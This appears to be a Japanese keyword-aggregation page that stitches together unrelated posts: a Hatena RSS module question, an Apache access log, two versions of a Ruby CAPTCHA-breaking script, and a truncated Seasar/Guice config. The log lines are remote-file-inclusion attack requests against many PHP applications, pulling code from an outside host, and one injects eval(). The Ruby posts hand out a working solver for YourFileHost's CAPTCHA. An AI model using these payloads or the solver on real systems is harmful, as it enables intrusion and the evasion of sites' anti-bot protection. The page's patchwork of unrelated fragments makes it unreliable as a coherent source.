はてなキーワード: MODULEとは
たとえば「Chikirinの日記」に「最近の話題エントリ」ペインってが右下にある。
「http://d.hatena.ne.jp/Chikirin/20100113」
これと同じものを実装したいんだけど、自分のブログタイトルも一緒に表示されちゃう。
<hatena name="rss" url="http://b.hatena.ne.jp/entrylist?url=http://d.hatena.ne.jp/ブログ名/&mode=rss" template="hatena-module" listlimit="10" moduletitle="最近人気のエントリ" showcategory="false" rel="nofollow">
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?_SERVER[DOCUMENT_ROOT]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 234 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /errors.php?error=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 223 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?page=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 216 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /poll/png.php?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /admin/business_inc/saveserver.php?thisdir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /webcalendar/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 256 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /cal/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 251 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /projects/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 241 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 286 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET //?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /s_loadenv.inc.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 237 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /project/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /board/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /dotproject/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_facileforms/facileforms.frame.php?ff_compath=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 247 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /calendar/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 253 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 236 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /rgboard/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 255 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?option=com_content&task=&sectionid=&id=&mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 269 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /administrator/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 260 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_rwcards/rwcards.advancedate.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 224 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cacti/include/config_settings.php?config[include_path]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 248 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cms/ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 245 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=include($_GET[a]);&a=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 307 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 232 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /plugins/safehtml/HTMLSax3.php?dir[plugins]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"
YourFileHostのCAPTCHA画像をなんとかするの続き。
その後、適当にいじったら、手元環境で1枚あたり25秒くらい→だいたい2.5秒くらいで判別できるようになった。このくらいなら使えるかな。
速度向上に一番効いたのは、Token#importで画像を比較しているところの修正。他は細かい手直し。
使い方は前のやつと変わってません。
あと、テストに100枚くらいCAPTCHA画像食わせてみたけど、とりあえず全部正しく判定できた。
カレントディレクトリ以下にある*.gifなCAPTCHA画像ファイルを適当に判別するスクリプト。動作確認用にどうぞ。
後述のdecaptcha.rbと同じディレクトリに適当に置いてchmod +xしてね。
#!/usr/local/bin/ruby $LOAD_PATH << File::dirname(File::expand_path($0)) require 'decaptcha' STDOUT.sync = true Dir.glob('*.gif').sort.each do |file| correct = File::basename(file, '.*') puts "Processing file: #{file}" start_time = Time.now ret = DeCAPTCHA.decode(file) elapsed = Time.now - start_time puts " Result: #{ret} (=> #{(correct == ret) ? "Ok" : "Fail"})" puts " Elapsed time: #{elapsed}" puts end
#!/usr/local/bin/ruby require 'rubygems' require 'gd2' require 'pp' # #= CAPTCHA画像解析モジュール # CAPTCHA画像ファイルを食わすとあら不思議、Stringが出てくるよ。 # YourFileHostのやつに対応。 # #== Usage # decoded_str = DeCAPTCHA.decode("some_captcha_image.gif") #=> String # 失敗したらnilが返る。 # module DeCAPTCHA DEBUG = false #=== CAPTCHA画像デコード # file:: 画像ファイル名のパス # method:: 未指定でよい。男は細かい事を気にするな。 # returns:: CAPTCHA画像解析結果(String) or nil (デコード失敗時) def self.decode(file, method = DeCAPTCHA::Site::YourFileHost) return method.new(file).decode end #= CAPTCHA画像デコード用クラス # このクラスのサブクラスはimport, tokenize, stream_parseメソッドの # 実装を含む必要がある。 class Site def initialize(file = nil) @pix = nil self.import(file) unless file.nil? end def decode return stream_parse(tokenize()) end end #= YourFileHostのCAPTCHA画像を解析するクラス class Site::YourFileHost < Site def import(file) @pix = PixelMatrix.new.import(file) return self end # importしたイメージ(PixelMatrix)から、文字と思わしきパターンを # 抽出して上下マージンを切り取ってArrayにして返す。 # returns:: Array of PixelMatrix def tokenize ret = [] state = :initial for x in 0...@pix.width case state when :initial if !@pix.vline_blank?(x) then state = :tokenize pixel = PixelMatrix.new(0, 0, true) ret << pixel redo end when :tokenize if @pix.vline_blank?(x) then state = :initial next end x0 = pixel.width for y in 0...@pix.height pixel[x0, y] = @pix[x, y] end else raise 'NOTREACHED' end end ret.map! {|token| Token.new.import(token.cutoff_vmargin!) } end # PixelMatrixのArrayを受け取り、数字を判別。 # tokens:: Array of PixelMatrix # returns:: String (判別結果) def stream_parse(tokens) rs = tokens.map {|x| x.guess.to_s }.join('') if rs.length != 4 then rs = nil if DEBUG then puts '- guess failed. dumping guess result of each token:' tokens.each_index do |i| print "##{i}:#{tokens[i].guess} " pp tokens[i].candidate end puts end end return rs end class Token @@digits = nil attr_accessor :candidate def initialize if @@digits.nil? then # 文字画像サンプルを作っておく @@digits = DIGITS_ASSOC.map {|digit| PixelMatrix.new(0, 0, true).import_array(digit) } end @candidate = Hash.new end # PixelMatrixを受け取り、文字画像サンプルと比較して # 一致率を計算しておく。 # pixel:: PixelMatrix # returns:: self def import(pixel) @@digits.each_index do |i| digit = @@digits[i] if (digit.width - pixel.width).abs > 4 or (digit.height - pixel.height).abs > 4 then @candidate[i] = -1 # サイズが違いすぎな場合、一致させない next end correct_bits = 0 enlarged_width = [digit.width, pixel.width ].max enlarged_height = [digit.height, pixel.height].max for y in 0...enlarged_height dy = (y.to_f / digit.height * enlarged_height).to_i py = (y.to_f / pixel.height * enlarged_height).to_i for x in 0...enlarged_width dx = (x.to_f / digit.width * enlarged_width).to_i px = (x.to_f / pixel.width * enlarged_width).to_i correct_bits += 1 if digit[dx, dy] == pixel[px, py] end end @candidate[i] = correct_bits * 100 / (enlarged_width * enlarged_height) end return self end # importのときの比較結果をもとに文字を推測 # returns:: Fixnum or nil(失敗時) def guess digit, ratio = @candidate.sort {|a, b| a.last <=> b.last}.last digit = nil if ratio < 0 or ratio < 65 return digit end end end #= 画素マトリックスクラス # 画像ファイルを食わせると、各ピクセル(画素)を2値(black(1) or white(0))に # 変換して、内部で保持する。 # 以後、Matrixクラスのような感じで個々の画素にアクセスできる。 class PixelMatrix BLACK = 1 WHITE = 0 attr_accessor :width attr_accessor :height # width:: 幅 # height:: 高さ # is_flexible:: 自動的に伸張するか def initialize(width = 0, height = 0, is_flexible = false) @matrix = Hash.new {|hash, key| hash[key] = Hash.new(WHITE)} @width, @height, @flexible = width, height, is_flexible end # file:: 画像ファイル名のパス # brightness_threshold:: 画素を黒とみなす閾値 (0 - 255, default: 0x40) # returns:: self (DeCAPTCHA::PixelMatrix) def import(file, brightness_threshold = 0x40) gd = GD2::Image.import(file) @width, @height = gd.width, gd.height self.each_with_axis do |x, y| color = gd[x, y] greyscale = (color.red + color.green + color.blue) / 3 self[x, y] = (greyscale > brightness_threshold) ? WHITE : BLACK end return self end def import_array(array) array.each_with_index do |str, y| str.split('').each_with_index do |c, x| self[x, y] = c.to_i end end return self end # PixelMatrixを画像ファイルとしてexport # file:: 新たに作る画像ファイル名のパス def export(file) gd = GD2::Image::IndexedColor.new(@width, @height) gd.palette << GD2::Color::WHITE gd.palette << GD2::Color::BLACK self.each_with_axis do |x, y| gd[x, y] = { WHITE => GD2::Color::WHITE, BLACK => GD2::Color::BLACK, }[self[x, y]] end gd.export(file) return self end # 指定された位置の画素を返す。 # returns:: PixelMatrix::BLACK(1) or WHITE(0) def [](x, y) if !@flexible and !in_range?(x, y) then raise RangeError end return WHITE if !@matrix.has_key?(y) # XXX: for optimize return @matrix[y][x] end # 画素に値を設定。 # returns:: PixelMatrix::BLACK(1) or WHITE(0) def []=(x, y, val) unless in_range?(x, y) then raise RangeError unless @flexible @width = (x >= @width) ? x + 1 : @width @height = (y >= @height) ? y + 1 : @height end @matrix[y][x] = val end def in_range?(x, y) ((0...@width) === x and (0...@height) === y) end # 指定された軸をもとに画素を走査し、Arrayに変換。 # 例えば、to_a(:vertical, 10) とすると、x == 10 な列を取り出して # Arrayにして返す。 # # axis:: 軸を指定 (:vertical または :horizontal) # pos:: 位置を指定。_axis_で指定した軸と直交する軸における位置を指定。 def to_a(axis, pos) {:vertical => lambda { (0...@height).map {|y| self[pos, y]} }, :horizontal => lambda { (0...@width).map {|x| self[x, pos]} }, }[axis].call end # returns:: Array def hline(y) self.to_a(:horizontal, y) end # returns:: Array def vline(x) self.to_a(:vertical, x) end # X軸方向に画素を走査。 # y:: どの位置で走査するか # returns:: 指定された軸の上にドットが存在: false, 無い: true def hline_blank?(y) return true if @matrix.has_key?(y) == false # XXX: for optimize for x in 0...@width return false if self[x, y] == BLACK end return true end # Y軸方向に画素を走査。 # x:: どの位置で走査するか # returns:: 指定された軸の上にドットが存在: false, 無い: true def vline_blank?(x) for y in 0...@height return false if self[x, y] == BLACK end return true end # 上下のマージンを削除した新しいPixelMatrixを返す。 # returns:: PixelMatrix def cutoff_vmargin pixel = PixelMatrix.new(0, 0, true) head = 0 tail = self.height - 1 head.upto(tail) do |y| if !self.hline_blank?(y) then head = y break end end tail.downto(head) do |y| if !self.hline_blank?(y) then tail = y break end end head.upto(tail) do |y| 0.upto(self.width - 1) do |x| pixel[x, y - head] = self[x, y] end end return pixel end # 自身の上下のマージンを削除する。cutoff_vmarginの破壊版。 # 速度稼ぎのために直接@matrixを触ったり、すこしずるをしている。 # 効率は、ほんの少しだけ速くなったような誤差の範囲のような感じ。 # returns:: self (PixelMatrix) def cutoff_vmargin! head = 0 tail = self.height - 1 head.upto(tail) do |y| if !self.hline_blank?(y) then head = y break end end tail.downto(head) do |y| if !self.hline_blank?(y) then tail = y break end @matrix.delete(y) if @matrix.has_key?(y) # XXX end if head > 0 then head.upto(tail) do |y| next if !@matrix.has_key?(y) # XXX @matrix[y - head] = @matrix.delete(y) # XXX end end self.height = tail - head + 1 return self end def each_with_axis for x in 0...@width for y in 0...@height yield(x, y) end end end end end class DeCAPTCHA::Site::YourFileHost::Token DIGITS_ASSOC = [ # 0 ["00000000011111110000000000", "00000001111111111110000000", "00000011111000001111000000", "00001111111100010011110000", "00011111100000110000111000", "00111111000000100001111000", "00111111110001000001111100", "01111111000010000011111110", "01111100000110000111111110", "01111111000100000111111110", "11111100001000001111111111", "11100000001000011111111111", "11111000010000011111111111", "11111000110000111111111111", "10000000100001111111111111", "01100001000001111111111110", "01100010000011111111111110", "01100010000111111111111110", "00111100000111111111111100", "00011100001111111111111000", "00001100011111111111111000", "00001111111111111111100000", "00000011111111111111000000", "00000000111111111100000000"], # 1 ["00001", "00111", "11111", "11111", "10001", "00001", "00001", "00001", "00001", "00001", "00001", "00001", "00001", "00001", "00001", "00001", "00001", "00001", "00001", "00001"], # 2 ["0000011111111110000000", "0001111111111111000000", "0011110000000010000000", "0110000000000100000000", "1100000000001100011110", "1000000000001000001111", "1000000000010000000111", "1000000000110001111111", "1000000000100001111111", "1000000001000000011111", "0100000011000001111111", "0011000010000111111110", "0011000110000001111110", "0000001100000111111100", "0000001000011111110000", "0000011000000111100000", "0000110000000000000000", "0000111111111111111111", "0001111111111111111110", "0011111111111111111100", "0011111111111111111100", "0111111111111111111000", "0111111111111111110000"], # 3 ["000000011111111110000000", "000001111111111111100000", "000011100000011111111000", "000111000000111111111000", "000110000001111111111100", "000100000001111111111100", "000100000011111111111100", "000110000111111111111000", "000010000111111111111000", "000000001111111111100000", "000000011111111111000000", "000000011111111110000000", "000000000000001100000000", "000000000000011100011100", "000000000000111000111110", "000000000000110000001110", "000000000001110001111111", "110000000011100011111111", "111000000111000000111110", "011100000110001111111100", "001111001110000111111000", "000011111100000011100000", "000000011000111000000000"], # 4 ["0000000000011", "0000000000011", "0000000000111", "0000000001111", "0000000001111", "0000000011111", "0000000111111", "0000000110111", "0000001100111", "0000011100111", "0000011000111", "0000110000111", "0001110000111", "0001100000111", "0011000000111", "0111000000111", "0111111111111", "1111111111111", "0000000000111", "0000000000111", "0000000000111", "0000000000111", "0000000000111"], # 5 ["000000001111111111111110", "000000011111111111111100", "000000111111111111111100", "000000111111111111111000", "000001111111111111110000", "000011100000000000000000", "000011011111111110000000", "000111111111111111000000", "001111100000000111000000", "001110000000000110001100", "000000000000000100011110", "000000000000001100000110", "000000000000011000011111", "000000000000011001111111", "000000000000110000011111", "000000000001100000111111", "110000000001100111111110", "011000000011000001111110", "011100000110000011111100", "001111000110011111111000", "000111111100001111110000", "000001111100000011000000", "000000001000011000000000"], # 6 ["000000000000000110000000", "000000010001111111111000", "000001110000011100111100", "000011100000011000001000", "000111000011111000000000", "001111000001110000000000", "001110000000111100000000", "011110001111111111100000", "011100000111000011110000", "011000000010000001111000", "011000011110000011111100", "010000111100000111111110", "100000001000000111111110", "100001111000001111111111", "000011110000011111111111", "000000100000011111111111", "000011100000111111111111", "001111000001111111111110", "000010000001111111111110", "001110000011111111111100", "000111000111111111111000", "000011111111111111110000", "000000111111111111000000", "000000000111111000000000"], # 7 ["0011111111111110001111", "0011111111111100000011", "0111111111111000000110", "1111111111111000111100", "1111111111110000001100", "0000000000000000011000", "0000000000000011111000", "0000000011000000110000", "0000001110000011100000", "0000011110001111100000", "0000111100000011000000", "0001111000000110000000", "0001111000111110000000", "0011110000001100000000", "0011110000001000000000", "0011100011111000000000", "0011000001110000000000", "0001000000110000000000", "0000000111100000000000", "0000000111000000000000", "0000000011000000000000", "0000001110000000000000", "0000001100000000000000"], # 8 ["0000000111111111110000000", "0000011111111111111100000", "0000001111100000011110000", "0000000001110000000111000", "0011000011111000000011100", "0011100001111100000011100", "0011110000001110000011100", "0001111000011111000111000", "0000111100000111101110000", "0000011110000001111100000", "0000001111000011111110000", "0000111111110000011111000", "0011110011111000001111100", "0111100001111100011111100", "0111000000111110000111110", "1111000000011111000000111", "1111000000001111100011111", "1111000000000011111000010", "0111100000000001111100000", "0011110000000000111110000", "0001111110000001111110000", "0000011111111111111000000", "0000000011111110000000000"], # 9 ["000000111111111110000000", "000001111111111111100000", "000111111111111001111000", "001111111111110000010000", "011111111111110000010000", "011111111111100000100000", "011111111111000001100000", "111111111110000001000111", "111111111110000010000001", "111111111100000110000111", "011111111000000100011111", "011111111000001000001111", "001111110000011000011111", "001111100000010001111110", "000111110000100000011110", "000001111111100000111110", "000000011111000111111100", "000000000010000001111100", "000000000110000001111000", "000100001100011111110000", "000111001100001111100000", "000011111000001111000000", "000000010000110000000000"], ] end __END__
そんなわけで、みんな大好きなYourFileHostだけども、最近みてみたら、なんかCAPTCHA認証がついているわけじゃないですか。
でもこれってさーCAPTCHAといっても見るからに危ういというか、見れば見るほど簡単に破れてしまいそうな気がして、どうにもむずがゆいアンニュイな気分になってしまうわけです。
そんで、このたび適当にいじってみたところ、それなりに推測できるコードが書けたので、ここに張ってみますね。
やってることは単純で、こんな感じ
使い方は、こんな感じで
require 'decaptcha.rb' captcha_string = DeCAPTCHA.decode(filename) if !captcha_string.nil? then # 判別成功時の処理 else # 判別失敗時の処理。失敗することもあるのでよしなに。 end
あ、Ruby/GD2入れといてね。sudo gem install gd2とかで入ります。多分。
判別率はそこそこ良い感じになったんだけども、富豪プログラミングがたたってか、いかんせん遅いです。
手元だと1枚判別するのに20秒くらいかかることもある。
そんなわけで誰かチューニングしてくれるとうれしい。
実行速度を上げた改良版はこっちにうpしました。以下のコードは参考程度に。
#!/usr/local/bin/ruby require 'rubygems' require 'gd2' require 'pp' # #= CAPTCHA画像解析モジュール # CAPTCHA画像ファイルを食わすとあら不思議、Stringが出てくるよ。 # YourFileHostのやつに対応。 # #== Usage # decoded_str = DeCAPTCHA.decode("some_captcha_image.gif") #=> String # 失敗したらnilが返る。 # module DeCAPTCHA DEBUG = false #=== CAPTCHA画像デコード # file:: 画像ファイル名のパス # method:: 未指定でよい。男は細かい事を気にするな。 # returns:: CAPTCHA画像解析結果(String) or nil (デコード失敗時) def self.decode(file, method = DeCAPTCHA::Site::YourFileHost) return method.new(file).decode end #= CAPTCHA画像デコード用クラス # このクラスのサブクラスはimport, tokenize, stream_parseメソッドの # 実装を含む必要がある。 class Site def initialize(file = nil) @pix = nil self.import(file) unless file.nil? end def decode return stream_parse(tokenize()) end end #= YourFileHostのCAPTCHA画像を解析するクラス class Site::YourFileHost < Site def import(file) @pix = PixelMatrix.new.import(file) return self end # importしたイメージ(PixelMatrix)から、文字と思わしきパターンを # 抽出して上下マージンを切り取ってArrayにして返す。 # returns:: Array of PixelMatrix def tokenize getter, tokenizer = lambda {|queue| [ lambda { return queue }, lambda {|x, pixel| if pixel.nil? then x, pixel = tokenizer.call(x, PixelMatrix.new(0, 0, true)) queue << pixel return x end if !@pix.in_range?(x, 0) or @pix.vline_blank?(x) then return [x, pixel] end x0 = pixel.width @pix.vline(x).inject(0) do |y, color| pixel[x0, y] = color y + 1 end return tokenizer.call(x + 1, pixel) } ] }.call([]) x = 0 while (x < @pix.width) x = @pix.vline_blank?(x) ? x + 1 : tokenizer.call(x, nil) end getter.call.map do |token| # Token.new.import(token.cutoff_vmargin.shrink) Token.new.import(token.cutoff_vmargin) end end # PixelMatrixのArrayを受け取り、数字を判別。 # tokens:: Array of PixelMatrix # returns:: String (判別結果) def stream_parse(tokens) r = [] tokens.inject(nil) do |prev, cur| r << cur.guess end rs = r.map {|x| x.to_s}.join('') if rs.length != 4 then if DEBUG then puts '- guess failed. dumping guess result of each token:' tokens.each_index do |i| print "##{i}: " pp tokens[i].candidate end puts end return nil end return rs end class Token @@digits = nil attr_accessor :candidate def initialize if @@digits.nil? then # 文字画像サンプルを作っておく @@digits = DIGITS_ASSOC.map {|assoc| PixelMatrix.new(0, 0, true).import_assoc(assoc) } end @candidate = Hash.new end # PixelMatrixを受け取り、文字画像サンプルと比較して # 一致率を計算しておく。 # pixel:: PixelMatrix # returns:: self def import(pixel) gcd = lambda {|a, b| a, b = [b, a] if a < b return a if b == 0 r = a % b return gcd.call(b, r) } lcm = lambda {|a, b| a * b / gcd.call(a, b) } mul_to_lcm = lambda {|a, b| g = gcd.call(a, b) [b / g, a / g] } 0.upto(@@digits.size - 1) do |i| if (@@digits[i].width - pixel.width).abs > 4 or (@@digits[i].height - pixel.height).abs > 4 then @candidate[i] = -1 # 比較対象とサイズが違いすぎ next end mul_ax, mul_bx = mul_to_lcm.call(@@digits[i].width, pixel.width) mul_ay, mul_by = mul_to_lcm.call(@@digits[i].height, pixel.height) enlarged_width = @@digits[i].width * mul_ax enlarged_height = @@digits[i].height * mul_ay # 文字画像サンプルと比較対象画像のサイズをあわせる # 幅・高さをそれぞれ適当に整数倍して、最小公倍数に合わせて比較 # (めんどうだから) correct_bits = 0 (0...enlarged_width).each do |x| (0...enlarged_height).each do |y| if @@digits[i][x/mul_ax, y/mul_ay] == pixel[x/mul_bx, y/mul_by] then correct_bits += 1 end end end @candidate[i] = correct_bits * 100 / (enlarged_width * enlarged_height) end return self end # importのときの比較結果をもとに文字を推測 # returns:: Fixnum or nil(失敗時) def guess digit, ratio = @candidate.sort {|a, b| a.last <=> b.last}.last digit = nil if ratio < 0 or ratio < 80 return digit end end end #= 画素マトリックスクラス # 画像ファイルを食わせると、各ピクセル(画素)を2値(black(1) or white(0))に # 変換して、内部で保持する。 # 以後、Matrixクラスのような感じで個々の画素にアクセスできる。 class PixelMatrix BLACK = 1 WHITE = 0 attr_accessor :width attr_accessor :height # width:: 幅 # height:: 高さ # is_flexible:: 自動的に伸張するか def initialize(width = 0, height = 0, is_flexible = false) @matrix = Hash.new {|hash, key| hash[key] = Hash.new(WHITE)} @width, @height, @flexible = width, height, is_flexible end # file:: 画像ファイル名のパス # brightness_threshold:: 画素を黒とみなす閾値 (0 - 255, default: 0x40) # returns:: self (DeCAPTCHA::PixelMatrix) def import(file, brightness_threshold = 0x40) gd = GD2::Image.import(file) @width, @height = gd.width, gd.height self.each_with_axis do |x, y| color = gd[x, y] greyscale = (color.red + color.green + color.blue) / 3 self[x, y] = (greyscale > brightness_threshold) ? WHITE : BLACK end return self end # reverse function of to_assoc def import_assoc(assoc) assoc.inject(0) do |y, columns| columns.inject(0) do |x, color| self[x, y] = color x + 1 end y + 1 end return self end # PixelMatrixを画像ファイルとしてexport # file:: 新たに作る画像ファイル名のパス def export(file) gd = GD2::Image::IndexedColor.new(@width, @height) gd.palette << GD2::Color::WHITE gd.palette << GD2::Color::BLACK self.each_with_axis do |x, y| gd[x, y] = { WHITE => GD2::Color::WHITE, BLACK => GD2::Color::BLACK, }[self[x, y]] end gd.export(file) return self end def to_assoc (0...@height).map do |y| (0...@width).map do |x| self[x, y] end end end # 指定された位置の画素を返す。 # returns:: PixelMatrix::BLACK(1) or WHITE(0) def [](x, y) if !@flexible and !in_range?(x, y) then raise RangeError end return @matrix[y][x] end # 画素に値を設定。 # returns:: PixelMatrix::BLACK(1) or WHITE(0) def []=(x, y, val) unless in_range?(x, y) then raise RangeError unless @flexible @width = (x >= @width) ? x + 1 : @width @height = (y >= @height) ? y + 1 : @height end @matrix[y][x] = val end def in_range?(x, y) ((0...@width) === x and (0...@height) === y) end # 指定された軸をもとに画素を走査し、Arrayに変換。 # 例えば、to_a(:vertical, 10) とすると、x == 10 な列を取り出して # Arrayにして返す。 # # axis:: 軸を指定 (:vertical または :horizontal) # pos:: 位置を指定。_axis_で指定した軸と直交する軸における位置を指定。 def to_a(axis, pos) {:vertical => lambda { (0...@height).map {|y| self[pos, y]} }, :horizontal => lambda { (0...@width).map {|x| self[x, pos]} }, }[axis].call end # returns:: Array def hline(y) self.to_a(:horizontal, y) end # returns:: Array def vline(x) self.to_a(:vertical, x) end # X軸方向に画素を走査。 # y:: どの位置で走査するか # returns:: 指定された軸の上にドットが存在: false, 無い: true def hline_blank?(y) hline(y).find {|color| color == BLACK }.nil? ? true : false end # Y軸方向に画素を走査。 # x:: どの位置で走査するか # returns:: 指定された軸の上にドットが存在: false, 無い: true def vline_blank?(x) vline(x).find {|color| color == BLACK }.nil? ? true : false end # 上下のマージンを削除した新しいPixelMatrixを返す。 # returns:: PixelMatrix def cutoff_vmargin pixel = PixelMatrix.new(0, 0, true) head = 0.upto(self.height - 1) do |y| break(y) if !self.hline_blank?(y) end tail = (self.height - 1).downto(0) do |y| break(y) if !self.hline_blank?(y) end head.upto(tail) do |y| y0 = pixel.height self.hline(y).inject(0) do |x, color| pixel[x, y0] = color x + 1 end end return pixel end def each_with_axis (0...@width).each {|x| (0...@height).each {|y| yield(x, y)}} end end end class DeCAPTCHA::Site::YourFileHost::Token DIGITS_ASSOC = [ # 0 [[0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]], ] end __END__ Dir.glob('*.gif').each do |file| puts "Processing file: #{file}" p DeCAPTCHA.decode(file) end __END__
[参考文献]
S2 は、.dicon ファイルで定義をだいぶ簡略化できる。パフォーマンスはどうなんだろう。誰かテストしてくれいw
app.dicon
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE components PUBLIC "-//SEASAR//DTD S2Container 2.4//EN" "http://www.seasar.org/dtd/components24.dtd">
<components namespace="client">
<include path="hello.dicon" />
<component class="org.seasar.guice.Client" />
</components>
hello.dicon
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE components PUBLIC "-//SEASAR//DTD S2Container 2.4//EN"
"http://www.seasar.org/dtd/components24.dtd">
<components initializeOnCreate="false">
<component class="org.seasar.guice.HelloServiceImpl" />
</components>
HelloService.java、HelloServiceImpl.java は、上記 ITPro と内容が同じなので省略。
import org.seasar.framework.container.S2Container;
import org.seasar.framework.container.SingletonS2Container;
import org.seasar.framework.container.factory.S2ContainerFactory;
import com.google.inject.AbstractModule;
import com.google.inject.name.Names;
public class Module extends AbstractModule {
